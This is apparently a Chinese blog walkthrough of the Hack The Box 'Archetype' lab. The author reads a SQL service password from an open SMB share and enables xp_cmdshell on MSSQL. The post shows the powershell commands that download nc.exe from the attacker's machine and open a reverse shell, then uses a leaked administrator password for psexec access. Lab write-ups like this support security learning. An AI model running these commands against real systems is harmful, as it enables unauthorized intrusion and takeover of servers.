0x00 前言
最近在做HTB(HACK THE BOX)的靶机,但是没想到的是,开始教程中tier2的第二关就把我卡住了……涉及到了MSSQL的渗透与提权(直接就是一个知识盲点怼过来),挺难得的一次贴切实战的学习机会,所以记录一下。
靶机: [HTB]Archetype
0x01 信息收集
1.1 Nmap扫描
首先使用Nmap扫描:
nmap -sC -sV xx.xx.xx.xx
结果扫出了两个服务,其中一个是Samba服务(端口:139/445),另一个是MSSQL-2019(端口:1433)。
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
1.2 Samba渗透
首先是使用匿名身份查询一下samba服务有哪些共享目录:
smbclient -L xx.xx.xx.xx
使用之后,就可以看到会有一些目录。这时候我们可以一个一个尝试连接,试着看有哪些是没配置密码访问的,这里最后找到了backups目录:
smbclient //xx.xx.xx.xx/backups
密码直接回车之后,发现成功登录。使用命令进行列文件,看看是否有有用的文件:
ls
可以看到有一个prod.dtsConfig 文件(其实这个文件时MSSQL中SSIS的XML格式配置文件,然而我并不知道这是什么),使用命令将其下载下来:
get prod.dtsConfig
这样,就从目标机器上将文件下载到了本地,接着我们使用cat命令进行查看:
cat prod.dtsConfig
其内容如下:
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
可以看到其中存储了一个用户ARCHETYPE\sql_svc还有其密码,所以接下来,我们可以尝试着去远程连接看看。
0x02 反弹shell
[这里因为HackTheBox的PWNHUB(云虚拟主机)体验结束,只能使用OpenVPN进行靶机的连接,然而网速巨慢……Nmap扫描一下都要巨久(后面发现好像是虚拟机忘记配置走Clash代理了😊,就继续使用HTB靶机了),于是转战本地搭建MSSQL来复现了]
2.1 远程连接MSSQL
使用SecureAuthCorp/impacket中的mssqlclient.py即可进行连接,本来kali中好像有安装好的impacket-mssqlclient模块,但是我使用的2021版本好像不存在这个模块,所以只能自己安装了,安装过程如下:
从Github拉取源码:
git clone https://github.com/SecureAuthCorp/impacket.git
安装pip:
sudo apt install python3-pip
安装虚拟环境模块(kali上需要这样)
apt install python3-venv
创建虚拟环境
python3 -m venv ./
进入虚拟环境并安装impacket
source ./bin/activate pip install ./
安装完成后,切换到example目录,就可以使用我们的脚本进行远程连接了:
python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.186.24 -windows-auth
[在kali中使用请注意这里的斜杠,不要使用windows格式的反斜杠]
输入上面获得的密码后,我们就成功登录了MSSQL。
2.2 开启xp_cmdshell
xp_cmdshell默认在mssql2000中开启,在后续版本中默认关闭,但仍然存在。利用它可以在数据库中执行系统命令,从而帮助我们进行提权等操作。
首先是要判断当前用户权限,只有sa用户才有权限开启
select is_srvrolemember('sysadmin');
返回1,表示当前确实是sa用户权限。
使用相关命令测试后,发现xp_cmdshell并没有开启
exec xp_cmdshell "whoami";
返回Error,提示未开启
使用如下的命令开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE
再次测试
exec xp_cmdshell "whoami";
成功返回archetype\sql_svc用户名称
[但是在mssqlserver.py中好像可以直接使用enable_xp_cmdshell,快速的帮助我们开启]
2.3 反弹shell
上面已经开启了xp_cmdshell,但还是得在数据库里操作,不太方便,所以我们接下来反弹一个shell。最简单的反弹shell就是利用nc程序的-e参数了,但是因为目标机器中不存在,所以我们就需要给他传一个。
从网上先下载一个nc.exe到kali中,用于后续渗透
使用python中http模块,搭建Web服务
python3 -m http.server 803
利用powershell -c来执行命令[毕竟不太熟悉Windows的Dos命令],查看当前目录
exec xp_cmdshell "powershell -c pwd";
显示是C:\Windows\system32 ,这个目录一般需要管理员权限才能写入文件,所以我们需要切换目录
切换目录,并下载kali上的nc.exe
exec xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://[yourTunIp]/nc.exe -o .\nc.exe";
[这里的yourTunIp是我们使用OpenVpn连接上HTB后分配的,使用ifconfig可以查看]
在反弹之前,现在本地监听特定端口[这里就挑选我喜欢的2333端口]
nc -lvp 2333
之后就是使用nc -e来反弹shell了
exec xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;.\nc.exe -e powershell.exe [yourTunIp] 2333";
成功反弹
之后在用户的Desktop,可以找到user的flag。但是靶机还需要管理员的flag,所以接下来我们就需要提权。
0x03 提权
3.1 WinPEAS
WinPEAS可以帮助我们自动化寻找Win主机上是否可以提权的Paths[看大家都用的这个词,但是我现在还不能准确翻译具体意思,应该不是路径的意思吧,大概是方式吧……另外,工具图标好可爱]
同样的,因为我们的靶机不出网,所以我们还是得现在kali中把WinPeas准备好,然后再让靶机从kali的Web服务下载。
下载地址: https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
在反弹的shell中使用wget从kali下载
wget http://[yourTunIp]/winPEASx64.exe -o winpeas.exe
在反弹的shell中运行工具
./winpeas.exe
结果会以红色的形式显示出来:
第一个文件记录了ps的历史命令,因为有的命令需要切换用户登录,所以当显式给密码切换时,就可以获得密码
> type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!! exit
可以看到,用户在使用net use命令时,有直接给出管理员密码:MEGACORP_4dm1n!!
3.2 psexec
psexec是微软官方出的一个代替telnet进行远程连接的工具,所以一般不会被杀软杀掉 [之前的工具在实际环境中可能需要做免杀],但是还是可能会被防火墙挡住的 [当然我们这里不需要考虑]。我们这里依然可以使用Impacket里的脚本进行连接。
使用如下命令进行远程连接:
python3 psexec.py administrator@10.129.95.187 /*如果kali有打包好Impacket则可以使用如下命令*/ impacket-psexec administrator@10.129.95.187
成功以administrator身份登录:
同样的,在桌面找到了对应的flag